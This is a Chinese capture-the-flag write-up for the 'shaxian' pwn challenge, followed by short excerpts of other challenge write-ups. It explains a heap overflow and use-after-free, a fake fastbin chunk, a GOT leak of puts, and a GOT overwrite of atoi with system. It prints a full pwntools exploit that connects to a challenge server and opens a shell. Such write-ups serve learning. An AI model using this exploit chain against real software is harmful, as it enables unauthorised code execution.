攻防世界PWN之shaxian題解

2021-10-02 16:40:27 字數 4151 閱讀 4906

首先,檢查一下程式的保護機制

然後,我們用ida分析一下

功能1存在溢位

free後沒有清空指標

我們先建立鍊錶三個節點,程式使用的是頭插法,因此,當我們釋放的時候,第乙個節點最後釋放,而當我們再申請同樣大小的塊時,由於fastbin的特性,第乙個塊就先被申請回來了,這樣,我們溢位到節點

2的結構體,覆蓋指標為函式

got表,就能洩露資訊

#頭插法建立鍊錶

,chunk0

最後被釋放

add(

'10'

,'a'

) #0

add(

'10'

,'b'

) #1

add(

'10'

,'c'

) #2

#釋放鍊錶,但不清空指標

delete()  #把

chunk0

申請回來,並且在

chunk0

代表的結構體鍊錶鏈結上

puts

的got

表位址,這樣我們再次

show

的時候就可以洩露資訊

payload = 

'a'*0x20 + p32(puts_got-0x4)  

#prev_size size fd

payload += p32(0) + p32(0x31) +p32(ptr-0x10)#chunk1

add(

'10'

,payload)  

然後,我們show,就能洩露資訊了

show()  

sh.recvuntil(

'* 10\n'

)  puts_addr = u32(sh.recv(4))  

#print 'puts_addr=',hex(puts_addr)

libc = libcsearcher(

'puts'

,puts_addr)  

libc_base = puts_addr - libc.dump(

'puts'

)  system_addr = libc_base + libc.dump(

'system'

)print'libc_base='

,hex(libc_base)  

print'system_addr='

,hex(system_addr)  

接下來,我們想辦法修改atoi的got表內容為system位址,由於fastbin特性,我們不能直接申請到atoi的got表處,因此,我們得想其他辦法。只要我們控制了dword_804b1c0這個煉表頭指標,我們就能對指定位置進行讀寫,因此,我們只要申請到這個指標附近,就可以控制它。

因此,看到之前,我們在覆蓋節點1(chunk0)的next指標時,順便chunk1

fd指標指向了

ptr-0x10,因為我們準備在這附近偽造乙個大小一樣的chunk結構,就可以申請到這裡。

而這個fake_chunk,我們得事先偽好,因此在程式一開始的時候

fake_chunk = p32(0) + p32(0x31)    

#為了能夠控制堆指標

ptr,我們在

ptr上面可控靠近區偽造乙個

0x31

的假chunk

鏈結到fastbin

,然後申請到這裡即可

payload = 

'd'*(0x100-0x10) + fake_chunk    

sh.sendlineafter(

'your phone number:'

,payload)    

當我們申請到fake_chunk處時,就可以順便修改atoi的got表了,我們再重新來看看程式的插入邏輯

intsub_80488af()    

綜上,我們完整的exp

#coding:utf8

from pwn import *

from libcsearcher import *

#sh = process('./shaxian')

sh = remote('111.198.29.45',55897)

elf = elf('./shaxian')

puts_got = elf.got['puts']

atoi_got = elf.got['atoi']

ptr = 0x804b1c0

def add(count,content):

sh.sendlineafter('choose:','1')

sh.sendlineafter('5.jianjiao',content)

sh.sendlineafter('how many?',count)

def delete():

sh.sendlineafter('choose:','2')

def show():

sh.sendlineafter('choose:','4')

sh.sendlineafter('your address:','seaase')

fake_chunk = p32(0) + p32(0x31)

#為了能夠控制堆指標ptr,我們在ptr上面可控靠近區偽造乙個0x31的假chunk鏈結到fastbin,然後申請到這裡即可

payload = 'd'*(0x100-0x10) + fake_chunk

sh.sendlineafter('your phone number:',payload)

#頭插法建立鍊錶,chunk0最後被釋放

add('10','a') #0

add('10','b') #1

add('10','c') #2

#釋放鍊錶,但不清空指標

delete()

payload = 'a'*0x20 + p32(puts_got-0x4)

#prev_size size fd

payload += p32(0) + p32(0x31) + p32(ptr-0x10) #chunk1

add('10',payload)

show()

sh.recvuntil('* 10\n')

puts_addr = u32(sh.recv(4))

#print 'puts_addr=',hex(puts_addr)

libc = libcsearcher('puts',puts_addr)

libc_base = puts_addr - libc.dump('puts')

system_addr = libc_base + libc.dump('system')

print 'libc_base=',hex(libc_base)

print 'system_addr=',hex(system_addr)

add('10','b') #chunk1

#申請堆塊到ptr上方的假chunk處,將ptr指標覆蓋為atoi的got位址,同時修改atoi的got表

add(str(system_addr - 0x100000000),'dddd' + p32(atoi_got))

#getshell

sh.sendline('/bin/sh')

sh.interactive()

攻防世界PWN之Welpwn題解

首先用ida檢視 發現主函式不能棧溢位,我們看看echo這個函式 echo會把主函式輸入的字串複製到區域性的s2裡,並且s2只有16位元組,可以造成溢位。echo函式先迴圈複製字元到s2,如果遇到0,就結束複製,然後輸出s2。因此,我們如果想直接覆蓋函式返回位址,那麼我們的目標函式必須沒有引數,否則...

攻防世界PWN之dubblesort題解

首先看一下程式的保護機制 保護全開,並且是乙個32位程式 然後,我們用ida分析一下 這裡,有兩個漏洞 第乙個是在呼叫read之前,沒有呼叫memset對 buf清空,因此,buf裡可能之前會有一些殘留的關鍵資料 第二個是,輸入的整數個數沒有上限,可以造成資料溢位,其實也就是棧溢位。我們在read斷...

攻防世界PWN之Nobug題解

首先,檢查一下程式的保護機制 pie和nx沒開,那麼,我們可以輕鬆的布置shellcode到棧裡或bss段或堆裡,然後跳轉。免去了洩露libc位址這些。然後,我們用ida分析一下 看似好像這裡sprintf不存在漏洞,我們再看看其他函式 看見乙個很複雜的函式,我們看看那個位址處是什麼 是查表法,看起...